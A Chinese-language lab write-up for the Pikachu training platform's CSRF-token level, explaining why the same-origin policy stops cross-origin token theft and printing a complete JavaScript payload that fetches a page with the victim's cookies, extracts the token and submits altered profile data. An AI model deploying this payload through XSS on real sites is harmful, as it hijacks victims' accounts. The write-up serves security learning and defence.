1. 核心考点
- Anti-CSRF Token:理解 Token 如何通过“不可预测性”阻断攻击。
- 同源策略 (SOP):本关重点。验证浏览器如何禁止 JS 跨域读取数据。
- 攻击边界:CSRF 是“只发不收”(跨域发送),而要绕过 Token 必须“能收能看”(同源读取),因此纯 CSRF 无法绕过 Token,除非结合 XSS。
2. 实验:脚本位置决定攻击成败
参考链接:https://juejin.cn/post/7540877562266435620?searchId=20251216184021F6A571E27C3FDAB094B2#heading-2
实验脚本核心逻辑:
- GET 请求修改页面。
- 读取响应 HTML。
- 提取
token。 - 携带
token发送修改请求。
2.1 实验 A:远程攻击 (模拟真实 CSRF)
- 部署位置:攻击者服务器 (
hzx123.xyz)。 - 结果 : 失败。
- 原因 :受害者访问脚本时,JS 向
localhost:8899(Pikachu) 发起请求。虽然请求发送成功,但由于hzx123.xyz和localhost:8899不同源 ,浏览器触发 SOP 拦截,禁止 JS 读取响应内容。脚本拿不到 Token,攻击终止。
结论:SOP 完美防御了跨域提取 Token 的行为。

2.2 实验 B:同源攻击 (模拟 XSS / 内部文件)
- 部署位置:Pikachu 服务器本地目录 (
/vul/csrf/csrf/csrftoken.html)。 - 结果 : 成功。
- 原因 :脚本与目标接口处于 同一协议、同一域名、同一端口 。浏览器判定为 同源 ,允许 JS 读取响应内容。脚本成功提取 Token 并完成攻击。
结论:这证明了该脚本本质上是一个 XSS 利用脚本,而非 CSRF 脚本。只有在同源(或存在 XSS)的情况下才能生效。


3. 实验代码 (XSS/ 同源利用 Payload)
此代码仅在脚本与目标同源(或通过 XSS 注入)时有效,没有 xss 注入,一定需要同源才行:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CSRF Token Attack via Fetch</title>
<style>
pre {background: #f4f4f4; padding: 10px; border: 1px solid #ddd; max-height: 400px; overflow: auto;}
.error {color: red;}
.success {color: green;}
.info {color: blue;}
</style>
</head>
<body>
<h1>CSRF Token Attack via Fetch</h1>
<p class="info"><strong>说明:</strong>请确保已登录 Pikachu 平台,以便浏览器自动携带 PHPSESSID Cookie。页面加载后将自动获取 CSRF Token 并发起请求。</p>
<p><strong>状态:</strong> <span id="status">等待请求...</span></p>
<p><strong>获取的 CSRF Token:</strong> <span id="token" class="error">未获取 </span></p>
<p><strong>目标 GET 请求 URL:</strong> <a id="redirect_url" href="#">未生成 </a></p>
<h2>响应内容(调试用)</h2>
<pre id="response_html"></pre>
<script>
window.onload = function() {
const targetUrl = 'http://localhost:8899/vul/csrf/csrftoken/token_get_edit.php';
const tokenSpan = document.getElementById('token');
const redirectLink = document.getElementById('redirect_url');
const statusSpan = document.getElementById('status');
const responseHtml = document.getElementById('response_html');
statusSpan.textContent = '正在请求目标页面...';
fetch(targetUrl, {
method: 'GET',
credentials: 'include' // 携带 Cookie
})
.then(response => {if (!response.ok) {throw new Error(`HTTP 状态码: ${response.status} (${response.statusText})`);
}
return response.text();})
.then(html => {
responseHtml.textContent = html; // 显示响应 HTML
// 提取 Token
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const tokenInput = doc.querySelector('input[name="token"]');
let token = tokenInput ? tokenInput.value : '';
if (token && /^[a-zA-Z0-9]+$/.test(token)) {
tokenSpan.textContent = token;
tokenSpan.className = 'success';
statusSpan.textContent = 'Token 提取成功,正在发起请求...';
// 构造 GET 请求 URL
const baseUrl = 'http://localhost:8899/vul/csrf/csrftoken/token_get_edit.php';
const params = {
sex: 'boy',
phonenum: '15988767673',
add: '444444',
email: 'kobe@pikachu.com',
token: token,
submit: 'submit'
};
const queryString = new URLSearchParams(params).toString();
const redirectUrl = `${baseUrl}?${queryString}`;
redirectLink.href = redirectUrl;
redirectLink.textContent = redirectUrl;
// 自动重定向
window.location.href = redirectUrl;
} else {
tokenSpan.textContent = token ? 'Token 格式无效' : '未找到 Token,可能未登录或页面无 Token';
statusSpan.textContent = 'Token 提取失败';
}
})
.catch(error => {
tokenSpan.textContent = '获取页面失败:' + error.message;
statusSpan.textContent = '请求失败,可能未登录或跨域限制';
responseHtml.textContent = '错误:' + error.message;
console.error('Fetch error:', error);
});
};
</script>
</body>
</html>
4. 辨析:为什么 “CSRF Token Tracker” 插件不行?
网上常提到的 Burp Suite 插件 CSRF Token Tracker 在此场景下 无法用于攻击受害者,原因如下:
- 运行环境不同:
- 插件 :运行在 攻击者 的电脑上的 Burp Suite 里。
- 攻击 :发生在 受害者 的浏览器里。
- 控制权限制:
- 插件只能控制 你发出的流量(用于方便你自己进行渗透测试或暴力破解)。
- 插件无法安装到受害者的浏览器里,也无法替受害者去获取 Token。
- 适用场景:
- CSRF Token Tracker = 测试辅助工具(帮你省去手动复制粘贴 Token 的麻烦)。
- JS Fetch 脚本 = XSS 攻击载体(利用受害者的浏览器去窃取 Token)。
5. 防御总结
通过本关的实验,我们可以得出防御 CSRF 的终极公式:
- Token 是核心:随机的 Token 确保攻击者无法通过简单的表单构造出合法请求。
- SOP 是基石:同源策略确保攻击者无法通过 JS 跨域读取 Token。
- XSS 是破绽:一旦存在 XSS 漏洞,攻击者可以注入上述 JS 代码,从而在同源环境下绕过 Token 防御。
一句话总结:Token 能防 CSRF,但 Token 防不住 XSS。
正文完